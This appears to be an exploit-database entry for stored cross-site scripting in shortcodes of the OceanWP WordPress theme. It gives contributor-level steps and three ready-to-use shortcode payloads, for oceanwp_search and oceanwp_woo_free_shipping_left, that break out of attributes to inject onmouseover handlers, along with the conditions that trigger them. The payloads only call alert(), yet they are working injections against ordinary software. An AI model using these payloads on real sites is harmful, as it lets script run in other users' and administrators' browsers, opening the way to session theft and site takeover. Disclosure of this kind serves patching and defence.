Share
## https://sploitus.com/exploit?id=WPEX-ID:1EF04155-13AC-4059-B94B-7407F40AD2F0
Note: This requires the OceanWP theme to be installed and active

As a contributor, put the below shortcode in a post, preview/view it and move the mouse over the search box to trigger the XSS

[oceanwp_search placeholder='"onmouseover="alert(/XSS/)//']


The below would require that the min free shipping amount to be different than 0, and total shipping in the cart to be <  min free shipping amount

[oceanwp_woo_free_shipping_left content="' style=background-color:red onmouseover=alert(/XSS-content/)//"]
[oceanwp_woo_free_shipping_left content_reached="' style=background-color:red onmouseover=alert(/XSS-content_reached/)//"]